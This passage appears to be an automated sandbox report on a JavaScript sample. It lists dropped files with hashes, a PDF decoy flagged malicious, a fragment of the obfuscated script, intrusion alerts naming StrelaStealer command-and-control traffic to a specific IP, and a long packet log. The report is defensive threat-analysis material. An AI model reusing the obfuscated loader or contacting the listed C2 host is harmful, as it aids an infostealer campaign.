Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\6664873d-19de-4cd6-a2f5-6665a3149e14.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\bc4ad4b1-7d23-4651-b394-726f2504b623.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15962), with CRLF line terminators
Entropy (8bit):	4.917067692552115
TrID:
File name:	205603875166153346.js
File size:	19'531 bytes
MD5:	1b06fe3f9f4efb305d738e760860157d
SHA1:	50680c142b1eb0739383c23a82d114d4f90b0e1b
SHA256:	327808c0ce87a9995949c1df6b3532aa0d869f0bb553e88345048664e0763d9b
SHA512:	2a232c78a7e57f99a4475710c4741c97ca93a728ac4b3a0564f4e1609887f3bf7c7f6a1bf6643f3ec78d1278329de13d012639c9335c70f81b04af0678362fa5
SSDEEP:	192:rvMhIgS2+N+I0ikvzmQKinYwuAjYl8fSMsp3oRC7luqxXY9TjcFxrFstqRwMgN8j:DMhD6N+YkCGYlj3oR7qFYpoFxrGWiG
TLSH:	749287CF6C44995756E830F0B3BBCCD7404C88451A61C1E53852B7FDA76FA684AEBAB0
File Content Preview:	function qvijvdx(){rutnee=[1031,3079,5127,4103,2055,3072];var thahiqabp=this[npqnzugbf+tjgalg+jfqnehhmq+slobmnu+yyorxecn+nqynpf+lyhzle+ywunubz](this[kxgpykqy+tskcujy+lqbimt+jfqnehhmq+dmfslmgoz+npqnzugbf+ywunubz][oiwbfr+jfqnehhmq+yyorxecn+tjgalg+ywunubz+yy

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T06:50:36.086301+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T06:50:36.086301+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T06:50:38.211832+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:50:35.282769918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:35.287692070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:35.287791967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:35.290621996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:35.295392990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.086124897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.086174011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.086211920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.086246967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.086281061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.086301088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.086316109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.086345911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.086349964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.086355925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.086385012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.086416960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.086430073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.086452961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.086491108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.091353893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.091389894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.091423988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.091450930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.133631945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.145092964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.145111084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.145172119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.207545996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.207592964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.207629919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.207664013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.207701921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.207817078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.207948923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.207983971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.208018064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.208019972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.208055019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.208081007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.208090067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.208172083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.208765030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.208817005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.208852053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.208882093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.208885908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.208920956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.208937883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.209639072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.209687948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.209692001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.209727049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.209762096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.209781885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.209796906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.209851027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.277920961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.277946949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.278055906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.323821068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.323837042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.323848963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.323939085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.328351021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.328362942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.328376055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.328387976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.328402996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.328433037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.328502893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.328521967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.328542948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.328705072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.328716993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.328728914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.328746080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.328766108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.328783035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.328794956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.328802109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.328808069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.328845024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.328862906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.329622984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.329633951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.329646111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.329684973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.329977989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.329989910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.330003023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.330013990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.330027103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.330034018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.330038071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.330043077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.330051899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.330079079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.330099106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.330885887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.330898046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.330909014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.330919027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.330929995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.330931902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.330940962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.330952883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.330962896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.330981016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.331696033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.331707954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.331718922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.331738949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.331739902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.331752062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.331760883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.331764936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.331778049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.331790924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.331809998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.332600117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.332611084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.332622051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.332665920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.364228010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.364249945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.364264965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.364278078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.364316940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.364356041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.393971920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.428874969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.428908110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.428945065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.428978920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.429016113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.429063082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.429100990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.449600935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.449618101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.449637890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.449650049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.449664116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.449676991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.449728966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.449789047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.449939966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.449951887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.449965000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.449976921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.449990034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.450037956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.450392962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.450417995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.450429916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.450440884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.450453997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.450458050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.450480938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.451081038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.451093912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.451106071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.451117992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.451129913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.451138020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.451141119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.451153040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.451168060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.451180935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.451203108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.451886892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.451899052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.451910973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.451941013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.451968908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.451981068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.451992989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.452004910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.452016115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.452044010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.452780008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.452791929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.452804089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.452815056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.452826977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.452840090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.452842951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.452852011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.452888966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.452912092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.453577042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.453588963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.453600883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.453629017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.453653097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.453664064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.453675985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.453689098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.453701019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.453722000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.454570055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.454586029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.454596996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.454607010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.454619884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.454619884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.454631090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.454643011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.454643965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.454667091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.454688072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.455394030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.455446959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.455482006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.455499887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.455514908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.455549955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.455571890 CET	49730	80	192.168.2.4	193.143.1.205
